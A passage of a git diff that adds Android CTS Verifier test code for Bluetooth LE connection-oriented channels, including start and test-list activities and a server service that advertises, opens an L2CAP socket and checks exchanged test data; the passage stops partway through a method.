+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+import com.android.cts.verifier.R;

+

+public class BleCocSecureClientStartActivity extends BleCocClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+

+        setInfoResources(R.string.ble_coc_client_test_name,

+                R.string.ble_coc_secure_client_test_info, -1);

+

+        mIntent = new Intent(this, BleCocClientService.class);

+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_SECURE_CONNECT);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
new file mode 100644
index 0000000..0370ab6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocSecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_secure_client_test_list_name,

+                R.string.ble_coc_secure_client_test_list_info,

+                -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
new file mode 100644
index 0000000..b7b04ac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocSecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_SECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
new file mode 100644
index 0000000..84f541c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocSecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_secure_server_test_list_name, R.string.ble_coc_secure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        // TODO: Any need to remove certain tests based on supported features?

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
new file mode 100644
index 0000000..ee6342b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
@@ -0,0 +1,766 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.Service;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServer;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothServerSocket;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.le.AdvertiseCallback;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertiseSettings;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.ParcelUuid;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+
+public class BleCocServerService extends Service {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerService";
+
+    public static final int COMMAND_ADD_SERVICE = 0;
+    public static final int COMMAND_WRITE_CHARACTERISTIC = 1;
+    public static final int COMMAND_WRITE_DESCRIPTOR = 2;
+
+    public static final int TEST_DATA_EXCHANGE_BUFSIZE = 8 * 1024;
+
+    public static final String BLE_BLUETOOTH_MISMATCH_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_SECURE";
+    public static final String BLE_BLUETOOTH_MISMATCH_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_MISMATCH_INSECURE";
+    public static final String BLE_BLUETOOTH_DISABLED =
+            "com.android.cts.verifier.bluetooth.BLE_BLUETOOTH_DISABLED";
+
+    public static final String BLE_ACTION_COC_SERVER_INSECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_INSECURE";
+    public static final String BLE_ACTION_COC_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_COC_SERVER_SECURE";
+
+    public static final String BLE_ACTION_SERVER_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_SECURE";
+    public static final String BLE_ACTION_SERVER_NON_SECURE =
+            "com.android.cts.verifier.bluetooth.BLE_ACTION_SERVER_NON_SECURE";
+
+    public static final String BLE_LE_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_CONNECTED";
+    public static final String BLE_COC_LISTENER_CREATED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_LISTENER_CREATED";
+    public static final String BLE_PSM_READ =
+            "com.android.cts.verifier.bluetooth.BLE_PSM_READ";
+    public static final String BLE_COC_CONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_COC_CONNECTED";
+    public static final String BLE_CONNECTION_TYPE_CHECKED =
+            "com.android.cts.verifier.bluetooth.BLE_CONNECTION_TYPE_CHECKED";
+    public static final String BLE_DATA_8BYTES_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_READ";
+    public static final String BLE_DATA_LARGEBUF_READ =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_LARGEBUF_READ";
+    public static final String BLE_DATA_8BYTES_SENT =
+            "com.android.cts.verifier.bluetooth.BLE_DATA_8BYTES_SENT";
+    public static final String BLE_LE_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_LE_DISCONNECTED";
+    public static final String BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES";
+    public static final String BLE_COC_SERVER_ACTION_EXCHANGE_DATA =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_EXCHANGE_DATA";
+    public static final String BLE_COC_SERVER_ACTION_DISCONNECT =
+            "com.android.cts.verifier.bluetooth.BLE_COC_SERVER_ACTION_DISCONNECT";
+
+    public static final String BLE_SERVER_DISCONNECTED =
+            "com.android.cts.verifier.bluetooth.BLE_SERVER_DISCONNECTED";
+    public static final String BLE_OPEN_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_OPEN_FAIL";
+    public static final String BLE_ADVERTISE_UNSUPPORTED =
+            "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
+    public static final String BLE_ADD_SERVICE_FAIL =
+            "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+
+    private static final UUID SERVICE_UUID =
+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_UUID =
+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");
+    private static final UUID CHARACTERISTIC_RESULT_UUID =
+            UUID.fromString("00009974-0000-1000-8000-00805f9b34fb");
+    private static final UUID UPDATE_CHARACTERISTIC_UUID =
+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_UUID =
+            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
+    public static final UUID ADV_COC_SERVICE_UUID=
+            UUID.fromString("00003334-0000-1000-8000-00805f9b34fb");
+
+    private static final UUID SERVICE_UUID_ADDITIONAL =
+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_INCLUDED =
+            UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+
+    // Variable for registration permission of Descriptor
+    private static final UUID DESCRIPTOR_NO_READ_UUID =
+            UUID.fromString("00009973-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NO_WRITE_UUID =
+            UUID.fromString("00009972-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_READ_UUID =
+            UUID.fromString("00009969-0000-1000-8000-00805f9b34fb");
+    private static final UUID DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID =
+            UUID.fromString("00009968-0000-1000-8000-00805f9b34fb");
+
+    private static final int CONN_INTERVAL = 150;   // connection interval 150ms
+
+    private static final int EXECUTION_DELAY = 1500;
+
+    // Delay of notification when secure test failed to start.
+    private static final long NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE = 5 * 1000;
+
+    public static final String WRITE_VALUE = "SERVER_TEST";
+    private static final String NOTIFY_VALUE = "NOTIFY_TEST";
+    private static final String INDICATE_VALUE = "INDICATE_TEST";
+    public static final String READ_NO_PERMISSION = "READ_NO_CHAR";
+    public static final String WRITE_NO_PERMISSION = "WRITE_NO_CHAR";
+    public static final String DESCRIPTOR_READ_NO_PERMISSION = "READ_NO_DESC";
+    public static final String DESCRIPTOR_WRITE_NO_PERMISSION = "WRITE_NO_DESC";
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothGattServer mGattServer;
+    private BluetoothGattService mService;
+    private BluetoothDevice mDevice;
+    private Handler mHandler;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private boolean mSecure;
+    private int mMtuSize = -1;
+
+    private BluetoothServerSocket mServerSocket;
+    private int mPsm = -1;
+    private BluetoothGattCharacteristic mLePsmCharacteristic;
+    BluetoothChatService mChatService;
+
+    private int mNextReadExpectedLen = -1;
+    private String mNextReadCompletionIntent;
+    private int mTotalReadLen = 0;
+    private byte mNextReadByte;
+    private int mNextWriteExpectedLen = -1;
+    private String mNextWriteCompletionIntent = null;
+
+    // Handler for communicating task with peer.
+    private TestTaskQueue mTaskQueue;
+
+    // current test category
+    private String mCurrentAction;
+
+    // Task to notify failure of starting secure test.
+    //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
+    //   createBond() causes onConnectionStateChange() twice, and it works as strange sequence.
+    //   At the first onConnectionStateChange(), target device is not paired (bond state is
+    //   BluetoothDevice.BOND_NONE).
+    //   At the second onConnectionStateChange(), target devices is paired (bond state is
+    //   BluetoothDevice.BOND_BONDED).
+    //   CTS Verifier will perform lazy check of bond state. Verifier checks bond state
+    //   after NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE from the first onConnectionStateChange().
+    private Runnable mNotificationTaskOfSecureTestStartFailure;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+        mTaskQueue = new TestTaskQueue(getClass().getName() + "_taskHandlerThread");
+
+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+        mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();
+        mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);
+
+        mService = createService();
+
+        mDevice = null;
+
+        mHandler = new Handler();
+        if (!mBluetoothManager.getAdapter().isEnabled()) {
+            notifyBluetoothDisabled();
+        } else if (mGattServer == null) {
+            notifyOpenFail();
+        } else if (mAdvertiser == null) {
+            notifyAdvertiseUnsupported();
+        } else {
+            // start adding services
+            mSecure = false;
+            if (!mGattServer.addService(mService)) {
+                notifyAddServiceFail();
+            }
+        }
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String action = intent.getAction();
+        if (action != null) {
+            if (DEBUG) {
+                Log.d(TAG, "onStartCommand: action=" + action);
+            }
+            mTaskQueue.addTask(new Runnable() {
+                @Override
+                public void run() {
+                    onTestFinish(intent.getAction());
+                }
+            }, EXECUTION_DELAY);
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void startServerTest(boolean secure) {
+        mSecure = secure;
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mChatService == null)) {
+            createChatService();
+        }
+
+        if (mBluetoothManager.getAdapter().isEnabled() && (mAdvertiser != null)) {
+            startAdvertise();
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1,2,3,4,5,6,7,8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void onTestFinish(String action) {
+        mCurrentAction = action;
+        if (mCurrentAction != null) {
+            switch (mCurrentAction) {
+                case BLE_ACTION_COC_SERVER_INSECURE:
+                    startServerTest(false);
+                    break;
+                case BLE_ACTION_COC_SERVER_SECURE:
+                    startServerTest(true);
+                    break;
+                case BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES:
+                    sendData8bytes();
+                    break;
+                case BLE_COC_SERVER_ACTION_EXCHANGE_DATA:
+                    sendDataLargeBuf();
+                    readDataLargeBuf();
+                    break;
+                case BLE_COC_SERVER_ACTION_DISCONNECT:
+                    if (mChatService != null) {
+                        mChatService.stop();
+                    }
+                    break;
+                default:
+                    Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+
+        if (mChatService != null) {
+            mChatService.stop();
+        }
+
+        cancelNotificationTaskOfSecureTestStartFailure();
+        stopAdvertise();
+
+        mTaskQueue.quit();
+
+        if (mGattServer == null) {
+           return;
+        }
+        if (mDevice != null) {
+            mGattServer.cancelConnection(mDevice);
+        }
+        mGattServer.clearServices();
+        mGattServer.close();
+    }
+
+    private void notifyOpenFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyOpenFail");
+        }
+        Intent intent = new Intent(BLE_OPEN_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAddServiceFail() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAddServiceFail");
+        }
+        Intent intent = new Intent(BLE_ADD_SERVICE_FAIL);
+        sendBroadcast(intent);
+    }
+
+    private void notifyAdvertiseUnsupported() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyAdvertiseUnsupported");
+        }
+        Intent intent = new Intent(BLE_ADVERTISE_UNSUPPORTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyConnected");
+        }
+        Intent intent = new Intent(BLE_LE_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDisconnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyDisconnected");
+        }
+        Intent intent = new Intent(BLE_SERVER_DISCONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private BluetoothGattService createService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+        BluetoothGattCharacteristic characteristic =
+                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+        characteristic.setValue(WRITE_VALUE.getBytes());
+
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+        descriptor.setValue(WRITE_VALUE.getBytes());
+        characteristic.addDescriptor(descriptor);
+
+        BluetoothGattDescriptor descriptor_permission =
+            new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        characteristic.addDescriptor(descriptor_permission);
+
+        descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
+        characteristic.addDescriptor(descriptor_permission);
+
+        service.addCharacteristic(characteristic);
+
+        // Registered the characteristic of PSM Value
+        mLePsmCharacteristic =
+                new BluetoothGattCharacteristic(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID,
+                                                BluetoothGattCharacteristic.PROPERTY_READ,
+                                                BluetoothGattCharacteristic.PERMISSION_READ);
+        service.addCharacteristic(mLePsmCharacteristic);
+
+        return service;
+    }
+
+    private void showMessage(final String msg) {
+        mHandler.post(new Runnable() {
+            public void run() {
+                Toast.makeText(BleCocServerService.this, msg, Toast.LENGTH_SHORT).show();
+            }
+        });
+    }
+
+    private synchronized void cancelNotificationTaskOfSecureTestStartFailure() {
+        if (mNotificationTaskOfSecureTestStartFailure != null) {
+            mHandler.removeCallbacks(mNotificationTaskOfSecureTestStartFailure);
+            mNotificationTaskOfSecureTestStartFailure = null;
+        }
+    }
+
+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+            if (DEBUG) {
+                Log.d(TAG, "onConnectionStateChange: newState=" + newState);
+            }
+
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                if (newState == BluetoothProfile.STATE_CONNECTED) {
+                    mDevice = device;
+                    boolean bonded = false;
+                    Set<BluetoothDevice> pairedDevices =
+                        mBluetoothManager.getAdapter().getBondedDevices();
+                    if (pairedDevices.size() > 0) {
+                        for (BluetoothDevice target : pairedDevices) {
+                            if (target.getAddress().equals(device.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) ||
+                                    !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                                            || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattServerCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                    } else {
+                        cancelNotificationTaskOfSecureTestStartFailure();
+                    }
+                    notifyConnected();
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    notifyDisconnected();
+                    mDevice = null;
+                }
+            }
+        }
+
+        @Override
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
+            if (mGattServer == null) {
+                if (DEBUG) {
+                    Log.d(TAG, "GattServer is null, return");
+                }
+                return;
+            }
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicReadRequest()");
+            }
+
+            boolean finished = false;
+            byte[] value = null;
+            if (mMtuSize > 0) {
+                byte[] buf = characteristic.getValue();
+                if (buf != null) {
+                    int len = Math.min((buf.length - offset), mMtuSize);
+                    if (len > 0) {
+                        value = Arrays.copyOfRange(buf, offset, (offset + len));
+                    }
+                    finished = ((offset + len) >= buf.length);
+                    if (finished) {
+                        Log.d(TAG, "sent whole data: " + (new String(characteristic.getValue())));
+                    }
+                }
+            } else {
+                value = characteristic.getValue();
+                finished = true;
+            }
+
+            mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+
+            UUID uid = characteristic.getUuid();
+            if (uid.equals(BleCocClientService.LE_PSM_CHARACTERISTIC_UUID)) {
+                Log.d(TAG, "onCharacteristicReadRequest: reading PSM");
+            }
+        }
+
+    };
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE CoC Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mTotalReadLen = 0;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void processChatStateChange(int newState) {
+        Intent intent;
+        if (DEBUG) {
+            Log.d(TAG, "processChatStateChange: newState=" + newState);
+        }
+        switch (newState) {
+        case BluetoothChatService.STATE_LISTEN:
+            intent = new Intent(BLE_COC_LISTENER_CREATED);
+            sendBroadcast(intent);
+            break;
+        case BluetoothChatService.STATE_CONNECTED:
+            intent = new Intent(BLE_COC_CONNECTED);
+            sendBroadcast(intent);
+
+            // Check the connection type
+            leCheckConnectionType();
+
+            // Prepare the next data read
+            readData8bytes();
+            break;
+        }
+    }
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+        showMessage("LE CoC Server wrote " + len + " bytes" + ", mNextWriteExpectedLen="
+                    + mNextWriteExpectedLen);
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+        mNextWriteCompletionIntent = null;
+        mNextWriteExpectedLen = -1;
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            switch (msg.what) {
+                case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                    processChatStateChange(msg.arg1);
+                    break;
+                case BluetoothChatService.MESSAGE_READ:
+                    handleMessageRead(msg);
+                    break;
+                case BluetoothChatService.MESSAGE_WRITE:
+                    handleMessageWrite(msg);
+                    break;
+            }
+        }
+    }
+
+    /* Start the Chat Service to create the Bluetooth Server Socket for LE CoC */
+    private void createChatService() {
+
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.start(mSecure);
+        mPsm = mChatService.getPsm(mSecure);
+        if (DEBUG) {
+            Log.d(TAG, "createChatService: assigned PSM=" + mPsm);
+        }
+        if (mPsm > 0x00ff) {
+            Log.e(TAG, "createChatService: Invalid PSM=" + mPsm);
+        }
+        // Notify that the PSM is read
+        Intent intent = new Intent(BLE_PSM_READ);
+        sendBroadcast(intent);
+
+        // Set the PSM value in the PSM characteristics in the GATT Server.
